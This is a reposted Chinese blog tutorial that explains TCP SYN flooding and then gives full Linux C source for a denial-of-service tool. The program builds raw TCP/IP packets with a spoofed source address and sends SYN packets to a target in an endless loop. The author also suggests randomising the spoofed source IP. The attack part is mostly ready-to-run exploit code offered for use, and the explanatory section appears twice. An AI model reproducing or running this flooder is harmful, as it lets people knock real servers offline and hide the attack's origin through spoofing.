码迷,mamicode.com
首页 > 其他好文 > 详细

原始套接字的使用之编程实现DOS攻击器

时间:2014-10-27 00:35:10      阅读:335      评论:0      收藏:0      [点我收藏+]

标签:des   style   blog   http   io   os   ar   使用   for   

0x00 原理

SYN泛洪攻击(SYN Flood)是当前最流行的DoSDDoS的方式之一,这是由于TCP协议的缺陷造成的。攻击者通过发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或者内存不足)的攻击方式。

首先要先了解正常情况下的TCP连接建立过程。

(1)客户端发送一个FlagSYNTCP报文,并设置一个seq序列号x

(2)服务器接收到了这个报文,然后立刻发送一个FlagSYN+ACK的报文,重要的  是服务器也会发送一个seq序列号,作为客户端验证的输入,并且还要回复一个  ack字段来确认,这个ackx+1x是客户端第一步发出的seq号码。这时,服  务器会开始分配一些资源,尽管现在连接没有正式建立。

(3)客户端接收到了这个来自服务器的报文之后,再回复一个FlagACK的确认报  文,ack自然是服务器端的y再加上1了,这时一个TCP连接才算完全建立。

bubuko.com,布布扣

0x00 原理

SYN泛洪攻击(SYN Flood)是当前最流行的DoSDDoS的方式之一,这是由于TCP协议的缺陷造成的。攻击者通过发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或者内存不足)的攻击方式。

首先要先了解正常情况下的TCP连接建立过程。

(1)客户端发送一个FlagSYNTCP报文,并设置一个seq序列号x

(2)服务器接收到了这个报文,然后立刻发送一个FlagSYN+ACK的报文,重要的  是服务器也会发送一个seq序列号,作为客户端验证的输入,并且还要回复一个  ack字段来确认,这个ackx+1x是客户端第一步发出的seq号码。这时,服  务器会开始分配一些资源,尽管现在连接没有正式建立。

(3)客户端接收到了这个来自服务器的报文之后,再回复一个FlagACK的确认报  文,ack自然是服务器端的y再加上1了,这时一个TCP连接才算完全建立。

int skfd ;
   socket(AF_INET,SOCK_RAW,IPPROTO_TCP)

前面提到,要想自行构造IPV4首部,必须要设置相应的socket字段,由于SYN Flood要构造出假的IP来源字段,所以这个地方要注意。这个选项是IP_HDRINCL,如果开启,那么由进程让内核发送的数据的起始位置指的是IP首部的第一个字节,进程调用输出函数写出的数据量必须包括IP首部的大小。整个IP首部由进程构造,不过IPV4标识字段可以置为0,从而告知内核设置该值;另外,IPV4选项字段是可选的。设置socket选项可以使用下面的代码实现:

if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
	perror("IP_HDRINCL failed");
	exit(1);
   }

上面的on是一个整型常量,为1

我们知道,TCP是建立在IP的基础上,所以有了构造IP报文的方法,我们只需要在IP报文的基础上加入TCP报文即可。这就要求我们遵循TCP协议规范,而且还要自己计算出校验和。TCP报文结构定义如下:

//定义TCP报头
typedef struct _tcphdr
{
   unsigned short th_sport; //16位源端口
   unsigned short th_dport; //16位目的端口
   unsigned int th_seq; //32位序列号
   unsigned int th_ack; //32位确认号
   unsigned char th_lenres; //4位首部长度/4位保留字
   unsigned char th_flag; //6位标志位
   unsigned short th_win; //16位窗口大小
   unsigned short th_sum; //16位校验和
   unsigned short th_urp; //16位紧急数据偏移量
} TCP_HEADER;

我们只需要在IP报文的基础上填充这些字段并装载在IP包中即可,重点是这里的Flag设置为SYN,校验和字段是要使用伪头计算,伪头的定义如下:

typedef struct psd_hdr
{
	unsigned long saddr; //源地址
	unsigned long daddr; //目的地址
	char mbz; 
        char ptcl; //协议类型
	unsigned short tcpl; //TCP长度
}PSD_HEADER;

在计算校验和的时候必须要小心翼翼,一旦填错会导致包出错。

为了使对方处理的时间增加,我们可以在TCP/IP报文后添加一些填充的信息,将整个包做成最大的64K,这样一来可以使攻击更有效,当然也对自身的带宽有了更大的要求。

报文构造完成之后,接下来就是发送了。原始套接字普通输出通过调用sendto或者sendmsg并指定目的IP地址完成的。当然,如果套接字已经连接,那么也可以调用write或者send发送。

 

0x02 实现源码分享

执行效果如下:

bubuko.com,布布扣

这是在被攻击主机中的wireshark抓包结果截图。可以看到,10.10.20.132是我伪造的一个IP,而重要的表现是10.10.10.128(被攻击的主机)一直重传SYN+ACK,由于IP地址是伪造的,所以不会收到任何回应,而是一直重发。

这个DoS程序是基于Linux C实现的,因为说实话,我对windows编程实在是不感冒,而且也不会。关于这个程序,可以这样改进,把来源IP做成随机值,但是这里我为了测试就没有这么干。废话不多说,直接上代码。  

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include<errno.h>
#include <arpa/inet.h>
#include <linux/tcp.h>
#include<pthread.h>
#include<fcntl.h>


//定义TCP伪报头
typedef struct psd_hdr
{
	unsigned long saddr; //源地址
	unsigned long daddr; //目的地址
	char mbz; char ptcl; //协议类型
	unsigned short tcpl; //TCP长度

}PSD_HEADER;

//定义TCP报头
typedef struct _tcphdr
{
	unsigned short th_sport; //16位源端口
	unsigned short th_dport; //16位目的端口
	unsigned int th_seq; //32位序列号
	unsigned int th_ack; //32位确认号
	unsigned char th_lenres; //4位首部长度/4位保留字
	unsigned char th_flag; //6位标志位
	unsigned short th_win; //16位窗口大小
	unsigned short th_sum; //16位校验和
	unsigned short th_urp; //16位紧急数据偏移量

} TCP_HEADER;


//定义IP报头
typedef struct _iphdr
{
	unsigned char h_lenver ; //长度加版本号
	unsigned char tos;  //服务类型
	unsigned short total_len;  //报文长度
	unsigned short ident;  //标示,可以置为0
	unsigned short frag_and_flags;  //标志位
	unsigned char ttl;  //生存期
	unsigned char proto;  //协议字段
	unsigned short checksum;  //校验和
	unsigned int sourceIP;  //源IP
	unsigned int destIP;  //目的IP

} IP_HEADER;

// 计算校验和
unsigned short checksum(unsigned short *addr,int len){
		int nleft=len;
	   int sum=0;
	   unsigned short * w=addr;
	   unsigned short answer=0;

	   while (nleft>1)
	   {
	     sum+=*w++;
	     nleft-=2;
	   }

	   if (nleft==1)
	   {
	     *(unsigned char *)(&answer)=*(unsigned char *)w;
	     sum+=answer;
	   }

	   sum=(sum>>16)+(sum & 0xffff);
	   sum+=(sum>>16);
	   answer=~sum;
	   return(answer);
}

void attack(int skfd,struct sockaddr_in*target,unsigned short srcport){
	char buf[65535] = {0} ;
	struct _iphdr ip ;
	struct _tcphdr tcp ;
	int ip_len ;
	struct psd_hdr psdheader ;
	struct sockaddr_in srcaddr ;
	srcaddr.sin_addr.s_addr = inet_addr("10.10.20.132") ;

	struct sockaddr_in _target ;
	_target.sin_family= AF_INET ;
	_target.sin_port = target->sin_port ;
	_target.sin_addr.s_addr = target->sin_addr.s_addr ;

	ip_len = sizeof(struct iphdr) + sizeof(struct tcphdr) ;

	//开始填充IP首部
	ip.h_lenver = (4 << 4 | sizeof(ip) / sizeof(unsigned long));
	ip.total_len = htons(sizeof(tcp) + sizeof(ip));
	//ip包的目的IP地址
	ip.destIP = target->sin_addr.s_addr ;
	//ip 包的源IP地址(可以伪造)
	ip.sourceIP = srcaddr.sin_addr.s_addr ;
	//上层协议  TCP
	ip.proto = IPPROTO_TCP ;
	//3位标志位  可以分段DF=0  后面无包MF=0
	ip.frag_and_flags = 0;
	//16位校验和
	ip.checksum = 0;
	//存活期   MAXTTL
	ip.ttl = 128 ;
	//16位标识
	ip.ident = 1;

	//开始填充TCP首部
	//填充TCP
	//目的端口
	tcp.th_dport = target->sin_port ;
	//源端口
	tcp.th_sport = htons(50000) ;
	//序列号
	tcp.th_seq = htonl(0x1245678);
	//确认号
	tcp.th_ack = 0;
	//(4位首部长度/4位保留字)
	tcp.th_lenres = (sizeof(tcp) / 4 << 4 | 0);
	//SYN标志
	tcp.th_flag = 2 ;//SYN
	//滑动窗口
	tcp.th_win = htons(16384) ;
	//16位紧急数据偏移量
	tcp.th_urp = 0;
	//16位校验和
	tcp.th_sum = 0;


	//TCP伪头
	psdheader.mbz = 0 ;
	psdheader.daddr = target->sin_addr.s_addr ;
	psdheader.saddr = srcaddr.sin_addr.s_addr ;
	psdheader.ptcl = IPPROTO_TCP ;
	psdheader.tcpl = htons(sizeof(tcp)) ;

	//计算校验和
	memcpy(buf,&psdheader,sizeof(psdheader)) ;
	memcpy(buf+sizeof(psdheader),&tcp,sizeof(tcp)) ;
	tcp.th_sum = checksum((unsigned short*)buf,sizeof(psdheader)+sizeof(tcp)) ;

	//IP校验和
	memcpy(buf,&ip,sizeof(ip)) ;
	memcpy(buf+sizeof(ip),&tcp,sizeof(tcp)) ;
	ip.checksum = checksum((unsigned short*)buf,sizeof(ip)+sizeof(tcp)) ;

	memcpy(buf,&ip,sizeof(ip)) ;

	//payload
	int len = sizeof(buf) - sizeof(ip) - sizeof(tcp) ;
	printf("here===>%d\n",len) ;
	char payload[len] ;
	int i = 0;
	for(i=0;i<len;i++){
		payload[i] = '2' ;
	}
	memcpy(buf+sizeof(ip)+sizeof(tcp),payload,sizeof(payload)) ;

       //send package
      for(;;){

	  if(sendto(skfd,buf,sizeof(tcp)+sizeof(ip),0,(struct sockaddr*)&_target,sizeof(_target)) == -1){
			printf("send error:%s!\n",strerror(errno)) ;
			exit(-1) ;
	  }else{
			printf("send OK!\n");
	  }
      }//for
}
int main(int args,char* argv[]){
	if(args != 4){
		printf("Usage:ddos_attack targetIP targetPort srcPort\n") ;
		exit(-1);
	}

	int skfd ;
	struct sockaddr_in target ;
	const int on = 1 ;
	unsigned short srcport ;

	memset(&target,0,sizeof(target)) ;

	//填写目标信息
	target.sin_family = AF_INET ;
	target.sin_port = htons(atoi(argv[2])) ;
	target.sin_addr.s_addr = inet_addr(argv[1]) ;

	//创建一个原生socket
	if((skfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) < 0){
		printf("create socket failed!%s\n",strerror(errno));
		exit(-1) ;
	}

	//用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
	if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
		perror("IP_HDRINCL failed");
		exit(1);
     }


	//启动攻击函数
	srcport = atoi(argv[3]) ;
	attack(skfd,&target,srcport) ;
	close(skfd) ;
	return 0 ;
}


另外,转载请注明出处:http://blog.csdn.net/u011721501?viewmode=list



原始套接字的使用之编程实现DOS攻击器

标签:des   style   blog   http   io   os   ar   使用   for   

原文地址:http://blog.csdn.net/u011721501/article/details/40484043

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!